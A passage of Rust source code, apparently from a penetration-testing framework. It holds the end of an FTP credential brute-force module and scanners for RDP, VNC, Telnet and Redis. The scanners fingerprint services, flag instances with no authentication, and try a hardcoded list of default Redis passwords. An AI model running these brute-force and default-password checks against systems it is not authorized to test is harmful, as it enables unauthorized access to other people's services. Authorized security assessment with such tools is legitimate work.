1062                .map(|_| stream.try_read(&mut buf2).unwrap_or(0))
1063                .unwrap_or(0);
1064            let user_resp = String::from_utf8_lossy(&buf2[..n2.min(4000)]);
1065            if !user_resp.starts_with("331") && !user_resp.starts_with("230") {
1066                return None;
1067            }
1068            let _ = stream
1069                .try_write(format!("PASS {pass}\r\n").as_bytes())
1070                .ok()?;
1071            tokio::time::sleep(std::time::Duration::from_millis(200)).await;
1072            let mut buf3 = vec![0u8; 4096];
1073            let n3 = tokio::time::timeout(timeout, stream.readable())
1074                .await
1075                .ok()?
1076                .map(|_| stream.try_read(&mut buf3).unwrap_or(0))
1077                .unwrap_or(0);
1078            let pass_resp = String::from_utf8_lossy(&buf3[..n3.min(4000)]);
1079            if pass_resp.starts_with("230") {
1080                Some((user.to_string(), pass.to_string()))
1081            } else {
1082                None
1083            }
1084        }
1085
1086        let semaphore = Arc::new(Semaphore::new(max_concurrency));
1087        let mut handles = Vec::new();
1088        for (user, pass) in &creds {
1089            let permit = semaphore
1090                .clone()
1091                .acquire_owned()
1092                .await
1093                .map_err(|e| ModuleError::Other(e.to_string()))?;
1094            let host = host.clone();
1095            let user = user.clone();
1096            let pass = pass.clone();
1097            handles.push(tokio::spawn(async move {
1098                let _permit = permit;
1099                try_ftp_login(&host, port, &user, &pass, timeout).await
1100            }));
1101        }
1102
1103        let mut found: Vec<(String, String)> = Vec::new();
1104        for h in handles {
1105            if let Ok(Some((u, p))) = h.await {
1106                found.push((u, p));
1107            }
1108        }
1109
1110        let evidence: Vec<String> = found
1111            .iter()
1112            .map(|(u, p)| format!("ftp/cred:{u}:{p}"))
1113            .collect();
1114        let finding = if found.is_empty() {
1115            format!(
1116                "FTP bruteforce on tcp/{port}: no valid credentials found (tried {} pairs)",
1117                creds.len()
1118            )
1119        } else {
1120            let details: Vec<String> = found.iter().map(|(u, p)| format!("{u}:{p}")).collect();
1121            format!(
1122                "FTP bruteforce on tcp/{port}: FOUND {} valid credential(s): {}",
1123                found.len(),
1124                details.join(", ")
1125            )
1126        };
1127
1128        Ok(ModuleResult {
1129            success: !found.is_empty(),
1130            finding: Some(finding),
1131            evidence,
1132            data: serde_json::json!({
1133                "host": self.host,
1134                "port": port,
1135                "found_credentials": found,
1136                "tried_count": creds.len(),
1137            }),
1138            ..Default::default()
1139        })
1140    }
1141}
1142
1143fn rdp_build_neg_req(requested: u32) -> Vec<u8> {
1144    let mut pkt = Vec::with_capacity(8);
1145    pkt.push(0x01);
1146    pkt.push(0x00);
1147    pkt.extend_from_slice(&[0x08, 0x00]);
1148    pkt.extend_from_slice(&requested.to_le_bytes());
1149    pkt
1150}
1151
1152fn rdp_parse_neg_rsp(data: &[u8]) -> Option<(u8, u32)> {
1153    if data.len() < 8 {
1154        return None;
1155    }
1156    if data[0] != 0x02 && data[0] != 0x03 {
1157        return None;
1158    }
1159    let r#type = data[0];
1160    let _flags = data[1];
1161    let len = u16::from_le_bytes([data[2], data[3]]);
1162    if len < 8 {
1163        return None;
1164    }
1165    let selected = u32::from_le_bytes([data[4], data[5], data[6], data[7]]);
1166    Some((r#type, selected))
1167}
1168
1169const PROTOCOL_RDP: u32 = 0x01;
1170const PROTOCOL_SSL: u32 = 0x02;
1171const PROTOCOL_NLA: u32 = 0x08;
1172
1173#[module(
1174    name = "rdp_scanner",
1175    kind = "Scanner",
1176    description = "RDP service scanner  -  version detection and NLA/SSL mode check",
1177    author = "ICEBOX"
1178)]
1179pub struct RdpScanner {
1180    #[option(required = true, help = "Target IP or hostname")]
1181    pub host: String,
1182    #[option(help = "RDP port (default 3389)")]
1183    pub port: u16,
1184    #[option(help = "Timeout in milliseconds (default 5000)")]
1185    pub timeout_ms: u64,
1186}
1187
1188#[async_trait]
1189impl Module for RdpScanner {
1190    fn options_json(&self) -> serde_json::Value {
1191        serde_json::to_value(&RdpScannerOptions {
1192            host: self.host.clone(),
1193            port: self.port,
1194            timeout_ms: self.timeout_ms,
1195        })
1196        .unwrap_or(serde_json::Value::Null)
1197    }
1198
1199    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
1200        let mut o = RdpScannerOptions {
1201            host: self.host.clone(),
1202            port: self.port,
1203            timeout_ms: self.timeout_ms,
1204        };
1205        o.set(name, value)?;
1206        self.host = o.host;
1207        self.port = o.port;
1208        self.timeout_ms = o.timeout_ms;
1209        Ok(())
1210    }
1211
1212    fn validate(&self) -> Result<(), ModuleError> {
1213        RdpScannerOptions {
1214            host: self.host.clone(),
1215            port: self.port,
1216            timeout_ms: self.timeout_ms,
1217        }
1218        .validate()
1219    }
1220
1221    async fn run(&self) -> Result<ModuleResult, ModuleError> {
1222        let port = if self.port > 0 { self.port } else { 3389 };
1223        let timeout_ms = if self.timeout_ms > 0 {
1224            self.timeout_ms
1225        } else {
1226            5000
1227        };
1228        let timeout = std::time::Duration::from_millis(timeout_ms);
1229        let addr = crate::core::proxy::resolve_dial(&self.host, port);
1230
1231        let stream =
1232            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
1233                Ok(Ok(s)) => s,
1234                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
1235                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
1236            };
1237
1238        let req = rdp_build_neg_req(PROTOCOL_RDP | PROTOCOL_SSL | PROTOCOL_NLA);
1239        if tokio::time::timeout(timeout, stream.writable())
1240            .await
1241            .is_err()
1242        {
1243            return Err(ModuleError::Other("write timeout".into()));
1244        }
1245        let _ = stream.try_write(&req);
1246
1247        let mut buf = vec![0u8; 1024];
1248        let n = match tokio::time::timeout(timeout, stream.readable()).await {
1249            Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
1250            _ => 0,
1251        };
1252
1253        if n < 8 {
1254            return Ok(ModuleResult {
1255                success: true,
1256                finding: Some(format!("RDP on tcp/{port}: no response")),
1257                data: serde_json::json!({"host": self.host, "port": port}),
1258                ..Default::default()
1259            });
1260        }
1261
1262        let (rsp_type, selected) = rdp_parse_neg_rsp(&buf[..n]).unwrap_or((0, 0));
1263
1264        let proto_name = match selected {
1265            1 => "RDP (standard)",
1266            2 => "SSL/TLS",
1267            8 => "NLA (CredSSP)",
1268            0 => "FAILED",
1269            _ => "unknown",
1270        };
1271
1272        let finding = format!(
1273            "RDP on tcp/{port}: selected={proto_name} (0x{selected:x}), type=0x{rsp_type:x}"
1274        );
1275
1276        Ok(ModuleResult {
1277            success: true,
1278            finding: Some(finding),
1279            evidence: vec![format!("rdp/protocol:{proto_name}")],
1280            data: serde_json::json!({
1281                "host": self.host, "port": port,
1282                "selected_protocol": selected,
1283                "protocol_name": proto_name,
1284                "response_type": rsp_type,
1285            }),
1286            ..Default::default()
1287        })
1288    }
1289}
1290
1291#[module(
1292    name = "vnc_scanner",
1293    kind = "Scanner",
1294    description = "VNC service scanner  -  protocol version and authentication type detection",
1295    author = "ICEBOX"
1296)]
1297pub struct VncScanner {
1298    #[option(required = true, help = "Target IP or hostname")]
1299    pub host: String,
1300    #[option(help = "VNC port (default 5900)")]
1301    pub port: u16,
1302    #[option(help = "Timeout in milliseconds (default 5000)")]
1303    pub timeout_ms: u64,
1304    #[option(help = "Check VNC authentication support (default true)")]
1305    pub check_vnc_auth: bool,
1306}
1307
1308#[async_trait]
1309impl Module for VncScanner {
1310    fn options_json(&self) -> serde_json::Value {
1311        serde_json::to_value(&VncScannerOptions {
1312            host: self.host.clone(),
1313            port: self.port,
1314            timeout_ms: self.timeout_ms,
1315            check_vnc_auth: self.check_vnc_auth,
1316        })
1317        .unwrap_or(serde_json::Value::Null)
1318    }
1319
1320    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
1321        let mut o = VncScannerOptions {
1322            host: self.host.clone(),
1323            port: self.port,
1324            timeout_ms: self.timeout_ms,
1325            check_vnc_auth: self.check_vnc_auth,
1326        };
1327        o.set(name, value)?;
1328        self.host = o.host;
1329        self.port = o.port;
1330        self.timeout_ms = o.timeout_ms;
1331        self.check_vnc_auth = o.check_vnc_auth;
1332        Ok(())
1333    }
1334
1335    fn validate(&self) -> Result<(), ModuleError> {
1336        VncScannerOptions {
1337            host: self.host.clone(),
1338            port: self.port,
1339            timeout_ms: self.timeout_ms,
1340            check_vnc_auth: self.check_vnc_auth,
1341        }
1342        .validate()
1343    }
1344
1345    async fn run(&self) -> Result<ModuleResult, ModuleError> {
1346        let port = if self.port > 0 { self.port } else { 5900 };
1347        let timeout_ms = if self.timeout_ms > 0 {
1348            self.timeout_ms
1349        } else {
1350            5000
1351        };
1352        let timeout = std::time::Duration::from_millis(timeout_ms);
1353        let addr = crate::core::proxy::resolve_dial(&self.host, port);
1354
1355        let stream =
1356            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
1357                Ok(Ok(s)) => s,
1358                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
1359                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
1360            };
1361
1362        let mut buf = vec![0u8; 4096];
1363        let n = match tokio::time::timeout(timeout, stream.readable()).await {
1364            Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
1365            _ => 0,
1366        };
1367        if n == 0 {
1368            return Ok(ModuleResult {
1369                success: true,
1370                finding: Some(format!("VNC on tcp/{port}: no protocol version received")),
1371                data: serde_json::json!({"host": self.host, "port": port}),
1372                ..Default::default()
1373            });
1374        }
1375
1376        let raw = String::from_utf8_lossy(&buf[..n.min(256)]);
1377        let banner = raw.lines().next().unwrap_or("").trim().to_string();
1378
1379        let mut findings = Vec::new();
1380        let mut evidence = Vec::new();
1381
1382        if banner.starts_with("RFB") {
1383            findings.push(format!("version: {banner}"));
1384            evidence.push(format!("vnc/version:{banner}"));
1385
1386            let ver_str = if banner == "RFB 003.008\n" || banner == "RFB 003.008" {
1387                "RFB 003.008\n"
1388            } else {
1389                "RFB 003.003\n"
1390            };
1391            if tokio::time::timeout(timeout, stream.writable())
1392                .await
1393                .is_ok()
1394            {
1395                let _ = stream.try_write(ver_str.as_bytes());
1396            }
1397
1398            let n2 = match tokio::time::timeout(timeout, stream.readable()).await {
1399                Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
1400                _ => 0,
1401            };
1402            if n2 >= 1 {
1403                let sec_count = buf[0] as usize;
1404                if sec_count > 0 && n2 > sec_count {
1405                    let types: Vec<u8> = buf[1..1 + sec_count].to_vec();
1406                    let type_names: Vec<String> = types
1407                        .iter()
1408                        .map(|&t| match t {
1409                            1 => "None".into(),
1410                            2 => "VNC Auth".into(),
1411                            5 => "RA2".into(),
1412                            6 => "RA2ne".into(),
1413                            16 => "Tight".into(),
1414                            17 => "Ultra".into(),
1415                            18 => "TLS".into(),
1416                            19 => "VeNCrypt".into(),
1417                            20 => "GTK-VNC SASL".into(),
1418                            21 => "MD5".into(),
1419                            22 => "Colin 64".into(),
1420                            _ => format!("Unknown(0x{t:x})"),
1421                        })
1422                        .collect();
1423                    findings.push(format!("auth types: {}", type_names.join(", ")));
1424                    evidence.extend(types.iter().map(|&t| format!("vnc/auth:0x{t:x}")));
1425                    if types.contains(&1) {
1426                        findings.push("No authentication required!".into());
1427                        evidence.push("vnc/no_auth".into());
1428                    }
1429                } else if sec_count == 0 && n2 >= 4 {
1430                    let auth_type = u32::from_le_bytes([buf[1], buf[2], buf[3], buf[4]]);
1431                    let name = match auth_type {
1432                        1 => "None",
1433                        2 => "VNC Auth",
1434                        _ => "unknown",
1435                    };
1436                    findings.push(format!("auth: {name} (0x{auth_type:x})"));
1437                    evidence.push(format!("vnc/auth:0x{auth_type:x}"));
1438                }
1439            }
1440        } else {
1441            findings.push(format!("unrecognized banner: {banner}"));
1442            evidence.push(format!("vnc/banner:{}", hex_encode(&buf[..n.min(64)])));
1443        }
1444
1445        Ok(ModuleResult {
1446            success: true,
1447            finding: Some(format!("VNC on tcp/{port}: {}", findings.join("; "))),
1448            evidence,
1449            data: serde_json::json!({
1450                "host": self.host, "port": port,
1451                "banner": banner,
1452                "findings": findings,
1453            }),
1454            ..Default::default()
1455        })
1456    }
1457}
1458
1459const IAC: u8 = 0xFF;
1460const TN_SB: u8 = 0xFA;
1461const TN_SE: u8 = 0xF0;
1462
1463fn strip_telnet_negotiation(data: &[u8]) -> Vec<u8> {
1464    let mut out = Vec::new();
1465    let mut i = 0;
1466    while i < data.len() {
1467        if data[i] == IAC && i + 2 < data.len() {
1468            match data[i + 1] {
1469                TN_SB => {
1470                    let mut j = i + 2;
1471                    while j + 1 < data.len() {
1472                        if data[j] == IAC && data[j + 1] == TN_SE {
1473                            i = j + 2;
1474                            break;
1475                        }
1476                        j += 1;
1477                    }
1478                    if j + 1 >= data.len() {
1479                        i = data.len();
1480                    }
1481                }
1482                _ => {
1483                    i += 3;
1484                }
1485            }
1486        } else if data[i] >= 32 || data[i] == b'\n' || data[i] == b'\r' || data[i] == b'\t' {
1487            out.push(data[i]);
1488            i += 1;
1489        } else {
1490            i += 1;
1491        }
1492    }
1493    out
1494}
1495
1496#[module(
1497    name = "telnet_scanner",
1498    kind = "Scanner",
1499    description = "Telnet service scanner  -  banner grabbing and option negotiation detection",
1500    author = "ICEBOX"
1501)]
1502pub struct TelnetScanner {
1503    #[option(required = true, help = "Target IP or hostname")]
1504    pub host: String,
1505    #[option(help = "Telnet port (default 23)")]
1506    pub port: u16,
1507    #[option(help = "Timeout in milliseconds (default 5000)")]
1508    pub timeout_ms: u64,
1509}
1510
1511#[async_trait]
1512impl Module for TelnetScanner {
1513    fn options_json(&self) -> serde_json::Value {
1514        serde_json::to_value(&TelnetScannerOptions {
1515            host: self.host.clone(),
1516            port: self.port,
1517            timeout_ms: self.timeout_ms,
1518        })
1519        .unwrap_or(serde_json::Value::Null)
1520    }
1521
1522    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
1523        let mut o = TelnetScannerOptions {
1524            host: self.host.clone(),
1525            port: self.port,
1526            timeout_ms: self.timeout_ms,
1527        };
1528        o.set(name, value)?;
1529        self.host = o.host;
1530        self.port = o.port;
1531        self.timeout_ms = o.timeout_ms;
1532        Ok(())
1533    }
1534
1535    fn validate(&self) -> Result<(), ModuleError> {
1536        TelnetScannerOptions {
1537            host: self.host.clone(),
1538            port: self.port,
1539            timeout_ms: self.timeout_ms,
1540        }
1541        .validate()
1542    }
1543
1544    async fn run(&self) -> Result<ModuleResult, ModuleError> {
1545        let port = if self.port > 0 { self.port } else { 23 };
1546        let timeout_ms = if self.timeout_ms > 0 {
1547            self.timeout_ms
1548        } else {
1549            5000
1550        };
1551        let timeout = std::time::Duration::from_millis(timeout_ms);
1552        let addr = crate::core::proxy::resolve_dial(&self.host, port);
1553
1554        let stream =
1555            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
1556                Ok(Ok(s)) => s,
1557                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
1558                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
1559            };
1560
1561        let mut all_data = Vec::new();
1562        let mut buf = vec![0u8; 8192];
1563        loop {
1564            let n = match tokio::time::timeout(timeout, stream.readable()).await {
1565                Ok(Ok(_)) => match stream.try_read(&mut buf) {
1566                    Ok(n) => n,
1567                    Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => 0,
1568                    Err(_) => break,
1569                },
1570                _ => break,
1571            };
1572            if n == 0 {
1573                break;
1574            }
1575            all_data.extend_from_slice(&buf[..n]);
1576            if all_data.len() > 65536 {
1577                break;
1578            }
1579        }
1580
1581        if all_data.is_empty() {
1582            return Ok(ModuleResult {
1583                success: true,
1584                finding: Some(format!("Telnet on tcp/{port}: no banner received")),
1585                data: serde_json::json!({"host": self.host, "port": port}),
1586                ..Default::default()
1587            });
1588        }
1589
1590        let text = strip_telnet_negotiation(&all_data);
1591        let clean_text = String::from_utf8_lossy(&text).to_string();
1592
1593        let banner = clean_text
1594            .lines()
1595            .find(|l| !l.trim().is_empty())
1596            .unwrap_or("")
1597            .trim()
1598            .to_string();
1599
1600        let os_hint = if banner.contains("Linux")
1601            || banner.contains("ubuntu")
1602            || banner.contains("debian")
1603            || banner.contains("centos")
1604        {
1605            Some("Linux")
1606        } else if banner.contains("FreeBSD")
1607            || banner.contains("NetBSD")
1608            || banner.contains("OpenBSD")
1609        {
1610            Some("BSD")
1611        } else if banner.contains("SunOS") || banner.contains("Solaris") {
1612            Some("Solaris")
1613        } else if banner.contains("AIX") {
1614            Some("AIX")
1615        } else if banner.contains("HP-UX") {
1616            Some("HP-UX")
1617        } else if banner.to_lowercase().contains("cisco") || banner.to_lowercase().contains("ios") {
1618            Some("Cisco IOS")
1619        } else {
1620            None
1621        };
1622
1623        let mut evidence = vec![format!("telnet/banner:{banner}")];
1624        if let Some(os) = os_hint {
1625            evidence.push(format!("telnet/os:{os}"));
1626        }
1627
1628        Ok(ModuleResult {
1629            success: true,
1630            finding: Some(format!(
1631                "Telnet on tcp/{port}: {banner}{}",
1632                os_hint.map(|o| format!(" [{o}]")).unwrap_or_default()
1633            )),
1634            evidence,
1635            data: serde_json::json!({
1636                "host": self.host, "port": port,
1637                "banner": banner,
1638                "os_hint": os_hint,
1639                "raw_length": all_data.len(),
1640                "negotiation_count": all_data.iter().filter(|&&b| b == IAC).count(),
1641            }),
1642            ..Default::default()
1643        })
1644    }
1645}
1646
1647const REDIS_DEFAULT_PASSWORDS: &[&str] =
1648    &["", "redis", "default", "redislabs", "admin", "password"];
1649
1650#[module(
1651    name = "redis_scanner",
1652    kind = "Scanner",
1653    description = "Redis service scanner  -  version detection and unprotected instance check",
1654    author = "ICEBOX"
1655)]
1656pub struct RedisScanner {
1657    #[option(required = true, help = "Target IP or hostname")]
1658    pub host: String,
1659    #[option(help = "Redis port (default 6379)")]
1660    pub port: u16,
1661    #[option(help = "Timeout in milliseconds (default 5000)")]
1662    pub timeout_ms: u64,
1663    #[option(help = "Check default passwords when auth is required (default true)")]
1664    pub check_defaults: bool,
1665}
1666
1667async fn redis_read_line(
1668    stream: &tokio::net::TcpStream,
1669    timeout: std::time::Duration,
1670) -> Result<String, ModuleError> {
1671    let mut buf = vec![0u8; 4096];
1672    let n = match tokio::time::timeout(timeout, stream.readable()).await {
1673        Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
1674        _ => return Err(ModuleError::Other("read timeout".into())),
1675    };
1676    let text = String::from_utf8_lossy(&buf[..n.min(4092)]);
1677    let line = text.lines().next().unwrap_or("").trim().to_string();
1678    Ok(line)
1679}
1680
1681async fn redis_send(
1682    stream: &tokio::net::TcpStream,
1683    cmd: &[u8],
1684    timeout: std::time::Duration,
1685) -> Result<(), ModuleError> {
1686    match tokio::time::timeout(timeout, stream.writable()).await {
1687        Ok(Ok(_)) => stream
1688            .try_write(cmd)
1689            .map_err(|e| ModuleError::Other(format!("write: {e}")))
1690            .map(|_| ()),
1691        _ => Err(ModuleError::Other("write timeout".into())),
1692    }
1693}
1694
1695#[async_trait]
1696impl Module for RedisScanner {
1697    fn options_json(&self) -> serde_json::Value {
1698        serde_json::to_value(&RedisScannerOptions {
1699            host: self.host.clone(),
1700            port: self.port,
1701            timeout_ms: self.timeout_ms,
1702            check_defaults: self.check_defaults,
1703        })
1704        .unwrap_or(serde_json::Value::Null)
1705    }
1706
1707    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
1708        let mut o = RedisScannerOptions {
1709            host: self.host.clone(),
1710            port: self.port,
1711            timeout_ms: self.timeout_ms,
1712            check_defaults: self.check_defaults,
1713        };
1714        o.set(name, value)?;
1715        self.host = o.host;
1716        self.port = o.port;
1717        self.timeout_ms = o.timeout_ms;
1718        self.check_defaults = o.check_defaults;
1719        Ok(())
1720    }
1721
1722    fn validate(&self) -> Result<(), ModuleError> {
1723        RedisScannerOptions {
1724            host: self.host.clone(),
1725            port: self.port,
1726            timeout_ms: self.timeout_ms,
1727            check_defaults: self.check_defaults,
1728        }
1729        .validate()
1730    }
1731
1732    async fn run(&self) -> Result<ModuleResult, ModuleError> {
1733        let port = if self.port > 0 { self.port } else { 6379 };
1734        let timeout_ms = if self.timeout_ms > 0 {
1735            self.timeout_ms
1736        } else {
1737            5000
1738        };
1739        let timeout = std::time::Duration::from_millis(timeout_ms);
1740        let addr = crate::core::proxy::resolve_dial(&self.host, port);
1741
1742        let stream =
1743            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
1744                Ok(Ok(s)) => s,
1745                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
1746                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
1747            };
1748
1749        redis_send(&stream, b"PING\r\n", timeout).await?;
1750        let pong = redis_read_line(&stream, timeout).await.unwrap_or_default();
1751
1752        let mut findings = Vec::new();
1753        let mut evidence = Vec::new();
1754        let mut authed = false;
1755        let mut used_password = String::new();
1756
1757        if pong == "+PONG" {
1758            findings.push("no authentication required".into());
1759            evidence.push("redis/no_auth".into());
1760            authed = true;
1761        } else if pong.starts_with("-NOAUTH") {
1762            findings.push("authentication required".into());
1763            if self.check_defaults {
1764                for pass in REDIS_DEFAULT_PASSWORDS {
1765                    let auth_cmd = format!("AUTH {pass}\r\n");
1766                    redis_send(&stream, auth_cmd.as_bytes(), timeout).await.ok();
1767                    let resp = redis_read_line(&stream, timeout).await.unwrap_or_default();
1768                    if resp == "+OK" {
1769                        findings.push(format!("AUTH success with password: {:?}", pass));
1770                        evidence.push(format!("redis/cred::{:?}", pass));
1771                        authed = true;
1772                        used_password = pass.to_string();
1773                        break;
1774                    }
1775                }
1776                if !authed {
1777                    findings.push("default passwords failed".into());
1778                }
1779            }
1780        } else {
1781            findings.push(format!("unexpected response: {pong}"));
1782        }
1783
1784        if authed {
1785            redis_send(&stream, b"INFO\r\n", timeout).await.ok();
1786            let mut all_data = Vec::new();
1787            let mut buf = vec![0u8; 16384];
1788            let n = match tokio::time::timeout(timeout, stream.readable()).await {
1789                Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
1790                _ => 0,
1791            };
1792            if n > 0 {
1793                all_data.extend_from_slice(&buf[..n]);
1794                let info_text = String::from_utf8_lossy(&all_data);
1795
1796                let mut version = String::new();
1797                let mut os = String::new();
1798                for line in info_text.lines() {
1799                    if let Some(v) = line.strip_prefix("redis_version:") {
1800                        version = v.trim().to_string();
1801                    }
1802                    if let Some(o) = line.strip_prefix("os:") {
1803                        os = o.trim().to_string();
1804                    }
1805                }
1806                if !version.is_empty() {
1807                    findings.push(format!("version: {version}"));
1808                    evidence.push(format!("redis/version:{version}"));
1809                }
1810                if !os.is_empty() {
1811                    evidence.push(format!("redis/os:{os}"));
1812                }
1813            }
1814        }
1815
1816        Ok(ModuleResult {
1817            success: true,
1818            finding: Some(format!("Redis on tcp/{port}: {}", findings.join("; "))),
1819            evidence,
1820            data: serde_json::json!({
1821                "host": self.host, "port": port,
1822                "authenticated": authed,
1823                "used_password": used_password,
1824                "findings": findings,
1825            }),
1826            ..Default::default()
1827        })
1828    }
1829}